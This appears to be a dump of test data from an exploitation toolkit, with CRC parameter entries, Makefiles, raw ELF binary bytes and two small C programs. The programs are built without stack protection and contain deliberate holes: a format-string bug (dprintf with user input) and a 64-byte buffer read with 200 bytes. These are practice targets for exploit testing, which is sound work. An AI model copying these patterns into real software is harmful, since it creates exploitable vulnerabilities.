init=0x000000 refin=false refout=false xorout=0x000000 check=0x0ed841 residue=0x000000 name="CRC-21/CAN-FD" crc.cat.crc-24-ble width=24 poly=0x00065b init=0x555555 refin=true refout=true xorout=0x000000 check=0xc25a56 residue=0x000000 name="CRC-24/BLE" crc.cat.crc-24-flexray-a width=24 poly=0x5d6dcb init=0xfedcba refin=false refout=false xorout=0x000000 check=0x7979bd residue=0x000000 name="CRC-24/FLEXRAY-A" crc.cat.crc-24-flexray-b width=24 poly=0x5d6dcb init=0xabcdef refin=false refout=false xorout=0x000000 check=0x1f23b8 residue=0x000000 name="CRC-24/FLEXRAY-B" crc.cat.crc-24-interlaken width=24 poly=0x328b63 init=0xffffff refin=false refout=false xorout=0xffffff check=0xb4f3e6 residue=0x144e63 name="CRC-24/INTERLAKEN" crc.cat.crc-24-lte-a width=24 poly=0x864cfb init=0x000000 refin=false refout=false xorout=0x000000 check=0xcde703 residue=0x000000 name="CRC-24/LTE-A" crc.cat.crc-24-lte-b width=24 poly=0x800063 init=0x000000 refin=false refout=false xorout=0x000000 check=0x23ef52 residue=0x000000 name="CRC-24/LTE-B" crc.cat.crc-24-openpgp width=24 poly=0x864cfb init=0xb704ce refin=false refout=false xorout=0x000000 check=0x21cf02 residue=0x000000 name="CRC-24/OPENPGP" crc.cat.crc-24-os-9 width=24 poly=0x800063 init=0xffffff refin=false refout=false xorout=0xffffff check=0x200fa5 residue=0x800fe3 name="CRC-24/OS-9" crc.cat.crc-30-cdma width=30 poly=0x2030b9c7 init=0x3fffffff refin=false refout=false xorout=0x3fffffff check=0x04c34abf residue=0x34efa55a name="CRC-30/CDMA" crc.cat.crc-31-philips width=31 poly=0x04c11db7 init=0x7fffffff refin=false refout=false xorout=0x7fffffff check=0x0ce9e46c residue=0x4eaf26f1 name="CRC-31/PHILIPS" crc.cat.crc-32-aixm width=32 poly=0x814141ab init=0x00000000 refin=false refout=false xorout=0x00000000 check=0x3010bf7f residue=0x00000000 name="CRC-32/AIXM" crc.cat.crc-32-autosar width=32 poly=0xf4acfb13 init=0xffffffff refin=true refout=true xorout=0xffffffff check=0x1697d06a residue=0x904cddbf name="CRC-32/AUTOSAR" crc.cat.crc-32-base91-d width=32 poly=0xa833982b init=0xffffffff refin=true refout=true xorout=0xffffffff check=0x87315576 residue=0x45270551 name="CRC-32/BASE91-D" crc.cat.crc-32-bzip2 width=32 poly=0x04c11db7 init=0xffffffff refin=false refout=false xorout=0xffffffff check=0xfc891918 residue=0xc704dd7b name="CRC-32/BZIP2" crc.cat.crc-32-cd-rom-edc width=32 poly=0x8001801b init=0x00000000 refin=true refout=true xorout=0x00000000 check=0x6ec2edc4 residue=0x00000000 name="CRC-32/CD-ROM-EDC" crc.cat.crc-32-cksum width=32 poly=0x04c11db7 init=0x00000000 refin=false refout=false xorout=0xffffffff check=0x765e7680 residue=0xc704dd7b name="CRC-32/CKSUM" crc.cat.crc-32-iscsi width=32 poly=0x1edc6f41 init=0xffffffff refin=true refout=true xorout=0xffffffff check=0xe3069283 residue=0xb798b438 name="CRC-32/ISCSI" crc.cat.crc-32-iso-hdlc width=32 poly=0x04c11db7 init=0xffffffff refin=true refout=true xorout=0xffffffff check=0xcbf43926 residue=0xdebb20e3 name="CRC-32/ISO-HDLC" crc.cat.crc-32-jamcrc width=32 poly=0x04c11db7 init=0xffffffff refin=true refout=true xorout=0x00000000 check=0x340bc6d9 residue=0x00000000 name="CRC-32/JAMCRC" crc.cat.crc-32-mef width=32 poly=0x741b8cd7 init=0xffffffff refin=true refout=true xorout=0x00000000 check=0xd2c22f51 residue=0x00000000 name="CRC-32/MEF" crc.cat.crc-32-mpeg-2 width=32 poly=0x04c11db7 init=0xffffffff refin=false refout=false xorout=0x00000000 check=0x0376e6e7 residue=0x00000000 name="CRC-32/MPEG-2" crc.cat.crc-32-xfer width=32 poly=0x000000af init=0x00000000 refin=false refout=false xorout=0x00000000 check=0xbd0be338 residue=0x00000000 name="CRC-32/XFER" crc.cat.crc-40-gsm width=40 poly=0x0004820009 init=0x0000000000 refin=false refout=false xorout=0xffffffffff check=0xd4164fc646 residue=0xc4ff8071ff name="CRC-40/GSM" crc.cat.crc-64-ecma-182 width=64 poly=0x42f0e1eba9ea3693 init=0x0000000000000000 refin=false refout=false xorout=0x0000000000000000 check=0x6c40df5f0b497347 residue=0x0000000000000000 name="CRC-64/ECMA-182" crc.cat.crc-64-go-iso width=64 poly=0x000000000000001b init=0xffffffffffffffff refin=true refout=true xorout=0xffffffffffffffff check=0xb90956c775a41001 residue=0x5300000000000000 name="CRC-64/GO-ISO" crc.cat.crc-64-ms width=64 poly=0x259c84cba6426349 init=0xffffffffffffffff refin=true refout=true xorout=0x0000000000000000 check=0x75d4b74f024eceea residue=0x0000000000000000 name="CRC-64/MS" crc.cat.crc-64-we width=64 poly=0x42f0e1eba9ea3693 init=0xffffffffffffffff refin=false refout=false xorout=0xffffffffffffffff check=0x62ec59e3f1a4f00a residue=0xfcacbebd5931a992 name="CRC-64/WE" crc.cat.crc-64-xz width=64 poly=0x42f0e1eba9ea3693 init=0xffffffffffffffff refin=true refout=true xorout=0xffffffffffffffff check=0x995dc9bbdf1939fa residue=0x49958c9abd7d353f name="CRC-64/XZ" crc.cat.crc-82-darc width=82 poly=0x0308c0111011401440411 init=0x000000000000000000000 refin=true refout=true xorout=0x000000000000000000000 check=0x09ea83f625023801fd612 residue=0x000000000000000000000 name="CRC-82/DARC" Gallopsled-pwntools-3ad86ec/pwnlib/data/elf/000077500000000000000000000000001507273764500211545ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/elf/__init__.py000066400000000000000000000003601507273764500232640ustar00rootroot00000000000000from __future__ import absolute_import from pwnlib.data.elf import fmtstr from pwnlib.data.elf import relro from pwnlib.data.elf import ret2dlresolve import os path = os.path.dirname(__file__) def get(x): return os.path.join(path, x) Gallopsled-pwntools-3ad86ec/pwnlib/data/elf/fmtstr/000077500000000000000000000000001507273764500224735ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/elf/fmtstr/Makefile000066400000000000000000000001131507273764500241260ustar00rootroot00000000000000 all: i386 i386: vuln.c gcc "$^" -fno-stack-protector -no-pie -m32 -o $@ Gallopsled-pwntools-3ad86ec/pwnlib/data/elf/fmtstr/__init__.py000066400000000000000000000001311507273764500245770ustar00rootroot00000000000000import os path = os.path.dirname(__file__) def get(x): return os.path.join(path, x) Gallopsled-pwntools-3ad86ec/pwnlib/data/elf/fmtstr/i386000077500000000000000000000162001507273764500231110ustar00rootroot00000000000000ELF44 (444  TTT    $hhhDDPtd<<QtdRtd   /lib/ld-linux.so.2GNUGNUN'76E;4\.?/ K"i 8=O) |libc.so.6_IO_stdin_useddprintfperror__isoc99_scanfmmap__libc_start_mainwriteGLIBC_2.7GLIBC_2.0__gmon_start__ii Uii _  Sçt[5%% h%h%h%h%h % h(%f1^PTR#`PPQVP$fffffffffff$ffffff,=,t$tUh,ЃÉ'Í&',-,t tUPh,҃Ít&Í=,uUl,ÍvÍ&'U]늍L$qUSQ EDžjjj2jhhO E}t P!jAAAAjPj(PPPjjPjeY[]afUWVSG l$(/ )t%1Ut$,t$, 9u [^_]ÍvSÓ[mmap%s;8hhTx zR| \ 0pF J tx?;*2$"T0hD GuDuxu| AAC H]AA AAN i$A(D,D0M GAA AA P d o\́ x 0 oooԂƃփGCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0Th́\Ԃ  P   dxĆ $, `!7,Fmy  `PW$ ),0 dCU$b q(~|]0@[x, %,P crtstuff.cderegister_tm_clones__do_global_dtors_auxcompleted.7283__do_global_dtors_aux_fini_array_entryframe_dummy__frame_dummy_init_array_entryvuln.c__FRAME_END____init_array_end_DYNAMIC__init_array_start__GNU_EH_FRAME_HDR_GLOBAL_OFFSET_TABLE___libc_csu_fini__x86.get_pc_thunk.bx_edatadprintf@@GLIBC_2.0perror@@GLIBC_2.0__data_start__gmon_start____dso_handle_IO_stdin_usedmmap@@GLIBC_2.0__libc_start_main@@GLIBC_2.0write@@GLIBC_2.0__libc_csu_init_dl_relocate_static_pie_fp_hw__bss_startmain__isoc99_scanf@@GLIBC_2.7__TMC_END__.symtab.strtab.shstrtab.interp.note.ABI-tag.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.plt.got.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.dynamic.got.plt.data.bss.commentTT#hh 1$Do N ́V\\x^oԂko0z  B  0PP#pbddxx<Ć  $$$,,0,)X@, 1Gallopsled-pwntools-3ad86ec/pwnlib/data/elf/fmtstr/vuln.c000066400000000000000000000013101507273764500236160ustar00rootroot00000000000000#include #include #include #include #define MEMORY_ADDRESS ((void*)0x11111000) #define MEMORY_SIZE 1024 #define TARGET ((int *) 0x11111110) int main(int argc, char const *argv[]) { char buff[1024]; void *ptr = NULL; int *my_var = TARGET; ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0); if(ptr != MEMORY_ADDRESS) { perror("mmap"); return EXIT_FAILURE; } *my_var = 0x41414141; write(1, &my_var, sizeof(int *)); scanf("%s", buff); dprintf(2, buff); write(1, my_var, sizeof(int)); return 0; }Gallopsled-pwntools-3ad86ec/pwnlib/data/elf/relro/000077500000000000000000000000001507273764500222775ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/elf/relro/__init__.py000066400000000000000000000001311507273764500244030ustar00rootroot00000000000000import os path = os.path.dirname(__file__) def get(x): return os.path.join(path, x) Gallopsled-pwntools-3ad86ec/pwnlib/data/elf/relro/test-x86-full000077500000000000000000000124541507273764500245750ustar00rootroot00000000000000ELFׂ44 (444  TTT<<$(hhh Ptd```,,QtdRtd/lib/ld-linux.so.2GNU  K,  \libc.so.6_IO_stdin_used__libc_start_main__gmon_start__GLIBC_2.0ii ;Sot"[5%%h%hU1]1^PTRh@hЃQVhЂfff$ffffff -vtUhЃÐt&-ttUPh҃Ít&'=uU|fu듍vtUP҃uffUW1VS% l$0})t'D$8,$D$D$4D$9u߃[^_] SÛ[;(@DphpzR|  0F J tx?;*2$"@AD A 8`aAA CAN0HAA AA p Do E `Xoo8oo.ƂGCC: (Debian 4.9.2-10) 4.9.2GCC: (Debian 4.8.4-1) 4.8.4.shstrtab.interp.note.ABI-tag.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.jcr.dynamic.got.data.bss.comment TThh !o + @3E;o..Ho88 W XX` B`` ipp#d0oЂruDD{XX``,09AGallopsled-pwntools-3ad86ec/pwnlib/data/elf/relro/test-x86-full-nodt000077500000000000000000000124541507273764500255370ustar00rootroot00000000000000ELFׂ44 (444  TTT<<$(hhh Ptd```,,QtdRtd/lib/ld-linux.so.2GNU  K,  \libc.so.6_IO_stdin_used__libc_start_main__gmon_start__GLIBC_2.0ii ;Sot"[5%%h%hU1]1^PTRh@hЃQVhЂfff$ffffff -vtUhЃÐt&-ttUPh҃Ít&'=uU|fu듍vtUP҃uffUW1VS% l$0})t'D$8,$D$D$4D$9u߃[^_] SÛ[;(@DphpzR|  0F J tx?;*2$"@AD A 8`aAA CAN0HAA AA p Do E `Xoo8oo.ƂGCC: (Debian 4.9.2-10) 4.9.2GCC: (Debian 4.8.4-1) 4.8.4.shstrtab.interp.note.ABI-tag.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.jcr.dynamic.got.data.bss.comment TThh !o + @3E;o..Ho88 W XX` B`` ipp#d0oЂruDD{XX``,09AGallopsled-pwntools-3ad86ec/pwnlib/data/elf/relro/test-x86-none000077500000000000000000000056041507273764500245710ustar00rootroot00000000000000ELF4L4 (444444(((HHH Ptd@@@,,Qtd/lib/ld-linux.so.2GNU  K,  <libc.so.6_IO_stdin_used__libc_start_main__gmon_start__GLIBC_2.0ii ; $Sût"[5%% h%$hU1]1^PTRh hQVhfff$ffffff3-0vtUh0ЃÐt&0-0ttUPh0҃Ít&'=0uU|0f$u듍vtUP҃uffUW1VS%Yl$0 })t'D$8,$D$D$4D$9u߃[^_] S[;(@DphpzR|  0F J tx?;*2$"@AD A 8`aAA CAN0HAA AA` P $ ohȁ E @8ooo(GCC: (Debian 4.9.2-10) 4.9.2GCC: (Debian 4.8.4-1) 4.8.4.shstrtab.interp.note.ABI-tag.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.jcr.dynamic.got.got.plt.data.bss.comment 44HH !ohh + @3ȁE;oHo W 88` B@@ iPP#d0oru$${88@@,ll  $$((((00009iGallopsled-pwntools-3ad86ec/pwnlib/data/elf/relro/test-x86-none-now000077500000000000000000000056241507273764500253740ustar00rootroot00000000000000ELF4\4 (444444$((((HHH Ptd@@@,,Qtd/lib/ld-linux.so.2GNU  K,  <libc.so.6_IO_stdin_used__libc_start_main__gmon_start__GLIBC_2.0ii ; 04St"[5(%,%0h%4hU1]1^PTRh hQVhfff$ffffffC-@vtUh@ЃÐt&@-@ttUPh@҃Ít&'=@uU|@f$u듍vtUP҃uffUW1VS%il$0})t'D$8,$D$D$4D$9u߃[^_] S[;(@DphpzR|  0F J tx?;*2$"@AD A 8`aAA CAN0HAA AA` P $ ohȁ E $@8oooo(GCC: (Debian 4.9.2-10) 4.9.2GCC: (Debian 4.8.4-1) 4.8.4.shstrtab.interp.note.ABI-tag.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.jcr.dynamic.got.got.plt.data.bss.comment 44HH !ohh + @3ȁE;oHo W 88` B@@ iPP#d0oru$${88@@,ll  $$((  $$88@@0@9yGallopsled-pwntools-3ad86ec/pwnlib/data/elf/relro/test-x86-none-now-nodt000077500000000000000000000056241507273764500263360ustar00rootroot00000000000000ELF4\4 (444444$((((HHH Ptd@@@,,Qtd/lib/ld-linux.so.2GNU  K,  <libc.so.6_IO_stdin_used__libc_start_main__gmon_start__GLIBC_2.0ii ; 04St"[5(%,%0h%4hU1]1^PTRh hQVhfff$ffffffC-@vtUh@ЃÐt&@-@ttUPh@҃Ít&'=@uU|@f$u듍vtUP҃uffUW1VS%il$0})t'D$8,$D$D$4D$9u߃[^_] S[;(@DphpzR|  0F J tx?;*2$"@AD A 8`aAA CAN0HAA AA` P $ ohȁ E $@8oooo(GCC: (Debian 4.9.2-10) 4.9.2GCC: (Debian 4.8.4-1) 4.8.4.shstrtab.interp.note.ABI-tag.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.jcr.dynamic.got.got.plt.data.bss.comment 44HH !ohh + @3ȁE;oHo W 88` B@@ iPP#d0oru$${88@@,ll  $$((  $$88@@0@9yGallopsled-pwntools-3ad86ec/pwnlib/data/elf/relro/test-x86-partial000077500000000000000000000125601507273764500252650ustar00rootroot00000000000000ELFׂ484 (444  TTT<<hhh Ptd```,,QtdRtd/lib/ld-linux.so.2GNU  K,  \libc.so.6_IO_stdin_used__libc_start_main__gmon_start__GLIBC_2.0ii ; SÇt"[5%% h%hU1]1^PTRh@hЃQVhЂfff$ffffff-vtUhЃÐt&-ttUPh҃Ít&'=uU|fu듍vtUP҃uffUW1VS%%l$0 })t'D$8,$D$D$4D$9u߃[^_] Só[;(@DphpzR|  0F J tx?;*2$"@AD A 8`aAA CAN0HAA AA p D o E `Xo8oo.ƂGCC: (Debian 4.9.2-10) 4.9.2GCC: (Debian 4.8.4-1) 4.8.4.shstrtab.interp.note.ABI-tag.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.jcr.dynamic.got.got.plt.data.bss.comment TThh !o + @3E;o..Ho88 W XX` B`` ipp#d0oЂruDD{XX``,  09UGallopsled-pwntools-3ad86ec/pwnlib/data/elf/ret2dlresolve/000077500000000000000000000000001507273764500237505ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/elf/ret2dlresolve/Makefile000066400000000000000000000002151507273764500254060ustar00rootroot00000000000000 all: i386 amd64 i386: vuln.c gcc "$^" -fno-stack-protector -no-pie -m32 -o $@ amd64: vuln.c gcc "$^" -fno-stack-protector -no-pie -o $@ Gallopsled-pwntools-3ad86ec/pwnlib/data/elf/ret2dlresolve/__init__.py000066400000000000000000000001311507273764500260540ustar00rootroot00000000000000import os path = os.path.dirname(__file__) def get(x): return os.path.join(path, x) Gallopsled-pwntools-3ad86ec/pwnlib/data/elf/ret2dlresolve/amd64000077500000000000000000000201001507273764500246020ustar00rootroot00000000000000ELF>@@@8 @@@@@@88@8@@@ `` (   ` `TT@T@DDPtd@@DDQtdRtd``/lib64/ld-linux-x86-64.so.2GNUGNU M@NO."thrSx . libc.so.6read__libc_start_mainGLIBC_2.2.5__gmon_start__ui "```HH% HtH5" %$ @%" h1I^HHPTI@H0@H@ Df.@U0`H=0`HtHt ]0`D]fD0`UH0`HHHH?HHtHt ]0`]fD=y uUH~g ]D@f.UH]UHH@HEHƿUHH}Huf.AWAVIAUATL% UH- SAIL)HHgHt 1LLDAHH9uH[]A\A]A^A_Ðf.HH;@,L\|3T|LzRx +zRx $0 FJ w?;*3$"Xg!AC \ xhAC V DpeBBE B(H0H8M@r8A0A(B BBB@@ @ @``o@@@ = `@@0 o`@ooV@ `@GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.08@T@t@@@@V@`@ @ @ @ @ @@@@@`` ``` `0`  @@ p@! @70`F`m @y`@` ``@` @R  ` @!0` @1P `] l(`y@ 0@e8` 0@V @+0` @0` @crtstuff.cderegister_tm_clones__do_global_dtors_auxcompleted.7698__do_global_dtors_aux_fini_array_entryframe_dummy__frame_dummy_init_array_entryvuln.c__FRAME_END____init_array_end_DYNAMIC__init_array_start__GNU_EH_FRAME_HDR_GLOBAL_OFFSET_TABLE___libc_csu_finivuln_edataread@@GLIBC_2.2.5__libc_start_main@@GLIBC_2.2.5__data_start__gmon_start____dso_handle_IO_stdin_used__libc_csu_init_dl_relocate_static_pie__bss_startmain__TMC_END__.symtab.strtab.shstrtab.interp.note.ABI-tag.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.dynamic.got.got.plt.data.bss.comment8@8#T@T 1t@t$Do@N @`V@=^oV@Vko`@` z@0B@@@ @@ @@D@ `` ` ``  ` 0`000)`+ 0Gallopsled-pwntools-3ad86ec/pwnlib/data/elf/ret2dlresolve/i386000077500000000000000000000160341507273764500243730ustar00rootroot00000000000000ELF4l4 (444  TTT   hhhDDPtdLLQtdRtd   /lib/ld-linux.so.2GNUGNU z_c K;  libc.so.6_IO_stdin_usedread__libc_start_mainGLIBC_2.0__gmon_start__ii 1 SOt:[5%% h%h%f1^PTR#PPQVUP$fffffffffff$ffffff=t$tUhЃÉ'Í&'-t tUPh҃Ít&Í=uUlÍvÍ&'U]USDQhURj]ÍL$qUQY]aË$ffffUWVSg l$( )t%1Ut$,t$, 9u [^_]ÍvSc[;Hx@dEs`zR|  0@0F J tx?;*2$"TL h^/AB Dg (i.D GuCu|[ AC kHd]AA AAN i$A(D,D0M GAA AAx    ó J opoofGCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0Th́fp   Ђ  \  p!7Fm y  #`G 9&/> ER an }] PKU. crtstuff.cderegister_tm_clones__do_global_dtors_auxcompleted.7283__do_global_dtors_aux_fini_array_entryframe_dummy__frame_dummy_init_array_entryvuln.c__FRAME_END____init_array_end_DYNAMIC__init_array_start__GNU_EH_FRAME_HDR_GLOBAL_OFFSET_TABLE___libc_csu_finiread@@GLIBC_2.0__x86.get_pc_thunk.bxvuln_edata__data_start__gmon_start____dso_handle_IO_stdin_used__libc_start_main@@GLIBC_2.0__libc_csu_init_dl_relocate_static_pie_fp_hw__bss_startmain__x86.get_pc_thunk.ax__TMC_END__.symtab.strtab.shstrtab.interp.note.ABI-tag.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.plt.got.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.dynamic.got.plt.data.bss.commentTT#hh 1$Do N ́PVJ^off kopp z  B#Ђ0L\\,  0)H , hdGallopsled-pwntools-3ad86ec/pwnlib/data/elf/ret2dlresolve/vuln.c000066400000000000000000000002111507273764500250720ustar00rootroot00000000000000#include void vuln(void){ char buf[64]; read(STDIN_FILENO, buf, 200); } int main(int argc, char** argv){ vuln(); }Gallopsled-pwntools-3ad86ec/pwnlib/data/elf/test-aarch64000077500000000000000000000115101507273764500233050ustar00rootroot00000000000000ELF@@ @8@@@@@@@@@@ A Ap  A A@@DDQtd/lib/ld-linux-aarch64.so.1GNUGNUx[-E&L: ^  E  mp A1> @7libc.so.6srand__isoc99_scanf__stack_chk_failabortprintfstrtol__libc_start_mainld-linux-aarch64.so.1__stack_chk_guard__gmon_start__GLIBC_2.17W  Ap A A( A0 A8 A@ AH AP AX A {f{_{Eb,    ՐE, ֐E, ֐E, ֐E, ֐E- ֐E"- ֐EB- ֐Eb- { s-`@' #@#BR*##n*@@^'@a@Aʁ @{Ũ_־@#XXX@0@@E@_!-!-!?8TXa  _ !--!!C!A!AXB@_ { `m95 R`-9 @{¨_ր@$@a X{ ?{ { ** ?* @{¨_ {BRd{_{[S$"$c*C4Tңzs*s`?֟!TSA[BcC{Ĩ__{{_%shappy days! %s very happy! %d 314@p@W 8@ @ A A(@X@h@  Ax@H@0 o@oo@ AP@P@P@P@P@P@P@P@GCC: (Linaro GCC 6.2-2016.11) 6.2.1 20161016.shstrtab.interp.note.ABI-tag.note.gnu.build-id.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.text.fini.rodata.eh_frame.init_array.fini_array.jcr.dynamic.got.got.plt.data.bss.comment @@ !@$4(@(<: h@hBX@XJo@Wo@@fH@H0pBx@x z8@8uP@P@@@8@ A  A  A  A  A  A X` A` p Ap 0p - Gallopsled-pwntools-3ad86ec/pwnlib/data/elf/test-aarch64-big000077500000000000000000000115301507273764500240460ustar00rootroot00000000000000ELF@@ @8@@@@@@@@@@  A A p (A (A (@@DDdtQ/lib/ld-linux-aarch64_be.so.1GNUGNU{?n2Nԩp]  E  pA 1> @7libc.so.6srand__isoc99_scanf__stack_chk_failabortprintfstrtol__libc_start_mainld-linux-aarch64_be.so.1__stack_chk_guard__gmon_start__GLIBC_2.17W A A A 0A 8A @A HA PA XA `A h {h{_{E,    ՐE, ֐E, ֐E- ֐E"- ֐EB- ֐Eb- ֐E- ֐E- { s.`@'`##BR*#$n*@^'@a@Aʁ @{Ũ_־@#XXX@@@@E@_!.!.!?8TXa  _ !..!!C!A!AXB@_ { `"n95 R`".9 @{¨_ր$@a X{ ?{ { ** ?* @{¨_ {BRd{_{[SB$b$c*C2Tңzs*s`?֟!TSA[BcC{Ĩ__{{_%shappy days! %s very happy! %d 314@@W @@ @A A @0@`@p A @@P0 o@oo@A (@`@`@`@`@`@`@`@`GCC: (Linaro GCC 6.2-2016.11) 6.2.1 20161016.shstrtab.interp.note.ABI-tag.note.gnu.build-id.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.text.fini.rodata.eh_frame.init_array.fini_array.jcr.dynamic.got.got.plt.data.bss.comment @@ !@$4@00<: @ppB@``Jo@Wo@@f@PP0pB@ z@@@u@``@@@8@  A  A  A A ( (A  A  XA p pA 0 - Gallopsled-pwntools-3ad86ec/pwnlib/data/elf/test-aarch64-big-pie000077500000000000000000000130701507273764500246220ustar00rootroot00000000000000ELF 0@x@8@@@@       DDdtQ/lib/ld-linux-aarch64_be.so.1GNUGNUzCa   7libc.so.6srand__isoc99_scanf__stack_chk_failabortprintfstrtol__cxa_finalize__libc_start_mainld-linux-aarch64_be.so.1__stack_chk_guard__libc_csu_fini_ITM_deregisterTMCloneTable__gmon_start____libc_csu_init_Jv_RegisterClasses_ITM_registerTMCloneTableGLIBC_2.17f     @    @   XX        (0 8 @H{d{_{G"8    Ր GB8 ֐Gb8 ֐G8 ֐G8 ֐G8 ֐G8 ֐"G9 ֐&G"9 {-SsFb@'-BR*- .k*@F['@a@AʁSA{Ũ_@#FcFFF@_!9!9!?8T!FA _ Ձ!99!!C!A!ABFb@ _ { `y9@5F,G{ R`99 @{¨_ր.@a Ձ!F{ ?{{ ** ?* @{¨_ {BRj{_{[Sb..c*C4Tңzs*s`?֟!TSA[BcC{Ĩ__{{_%shappy days! %s very happy! %d 314 @ f  D  0X   8 oooono @ XGCC: (Linaro GCC 6.2-2016.11) 6.2.1 20161016.shstrtab.interp.note.ABI-tag.note.gnu.build-id.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.text.fini.rodata.eh_frame.init_array.fini_array.jcr.dynamic.got.got.plt.data.bss.comment  !$400`: BXXJonn&Wo@f8pB zu D D X X8      X XPP``0`-Gallopsled-pwntools-3ad86ec/pwnlib/data/elf/test-aarch64-big-relro000077500000000000000000000136401507273764500251730ustar00rootroot00000000000000ELF@@ @8@@@@@@@@@@ < < A A  A A  @ @ DDdtQdtR A A /lib/ld-linux-aarch64_be.so.1GNUGNU6e j&%T«~  E  pA1> @7libc.so.6srand__isoc99_scanf__stack_chk_failabortprintfstrtol__libc_start_mainld-linux-aarch64_be.so.1__stack_chk_guard__gmon_start__GLIBC_2.17W AAAAAAAAAA {f{_{G>    ՐG> ֐G> ֐G? ֐G"? ֐GB? ֐Gb? ֐G? ֐G? { sB`@' $@$BR*$$n*@@^'@a@Aʁ @{Ũ_־@#XXX@0@p@G@_!@!@!?8TXa  _ !@@!!C!A!AXB@_ { `b@95 R`b9 @{¨_ր@6@a X{ ?{ { ** ?* @{¨_ {BRd{_{[S6"6c*C4Tңzs*s`?֟!TSA[BcC{Ĩ__{{_%shappy days! %s very happy! %d 314@@W @x @A A @h@@ A@@0 oo@Hoo@4@@@@@@@@A GCC: (Linaro GCC 6.2-2016.11) 6.2.1 20161016.shstrtab.interp.note.ABI-tag.note.gnu.build-id.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.text.fini.rodata.eh_frame.init_array.fini_array.jcr.dynamic.got.data.bss.comment @@  !@@@$4@hh<: @B@Jo@44Wo@HH@f@0pB@ z@xxu@@00@@ 8@ 8 8A A A A AhAA0-=Gallopsled-pwntools-3ad86ec/pwnlib/data/elf/test-aarch64-big-relro-pie000077500000000000000000000136401507273764500257460ustar00rootroot00000000000000ELF `@ @8@@@@  8 8 8 P P P   DDdtQdtR 8 8 8/lib/ld-linux-aarch64_be.so.1GNUGNURt1P     H p E"T  1 x>a   7libc.so.6srand__isoc99_scanf__stack_chk_failabortprintfstrtol__cxa_finalize__libc_start_mainld-linux-aarch64_be.so.1__stack_chk_guard__libc_csu_fini_ITM_deregisterTMCloneTable__gmon_start____libc_csu_init_Jv_RegisterClasses_ITM_registerTMCloneTableGLIBC_2.17f    8 p @ ( p  hpx  {b{_{G=    ՐG= ֐G= ֐G= ֐G> ֐G"> ֐GB> ֐Gb> ֐G> {@.SsGb@'`.BR*..k*@G['@a@AʁSA{Ũ_@#GcGGG@_!@!@!?8T!GA _ Ձ!@@!!C!A!ABGb@ _ { `B@9@5G@{ R`B9 @{¨_ր 5@a Ձ!G{ ?{{ ** ?* @{¨_ {BRj{_{[S45c*C6Tңzs*s`?֟!TSA[BcC{Ĩ__{{_%shappy days! %s very happy! %d 314 p (f  t 8 @h  PH8 ooooo         P p GCC: (Linaro GCC 6.2-2016.11) 6.2.1 20161016.shstrtab.interp.note.ABI-tag.note.gnu.build-id.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.text.fini.rodata.eh_frame.init_array.fini_array.jcr.dynamic.got.data.bss.comment   !@@$4hh`: BJo&Wo@f8pBHH zu   t t 8  8 8 @ @ H H P PPP0-=Gallopsled-pwntools-3ad86ec/pwnlib/data/elf/test-aarch64-pie000077500000000000000000000130501507273764500240610ustar00rootroot00000000000000ELF @h@8@@@@     DDQtd/lib/ld-linux-aarch64.so.1GNUGNU=|e@,ub&     0  E"T  |1 x>a   7libc.so.6srand__isoc99_scanf__stack_chk_failabortprintfstrtol__cxa_finalize__libc_start_mainld-linux-aarch64.so.1__stack_chk_guard__libc_csu_fini_ITM_deregisterTMCloneTable__gmon_start____libc_csu_init_Jv_RegisterClasses_ITM_registerTMCloneTableGLIBC_2.17f  0  0  HH         ( 08{d{_{F7    ՐG8 ֐G"8 ֐ GB8 ֐Gb8 ֐G8 ֐G8 ֐G8 ֐G8 {@-SsFb@'`-BR*--k*@F['@a@AʁSA{Ũ_@#FcFFF@_!@9!@9!?8T!FA _ Ձ!@9@9!!C!A!ABFb@ _ { `By9@5F$G{ R`B99 @{¨_ր`.@a Ձ!F{ ?{{ ** ?* @{¨_ {BRj{_{[S".B.c*C4Tңzs*s`?֟!TSA[BcC{Ĩ__{{_%shappy days! %s very happy! %d 3140 f  4   (P   8 oooobo 0 HGCC: (Linaro GCC 6.2-2016.11) 6.2.1 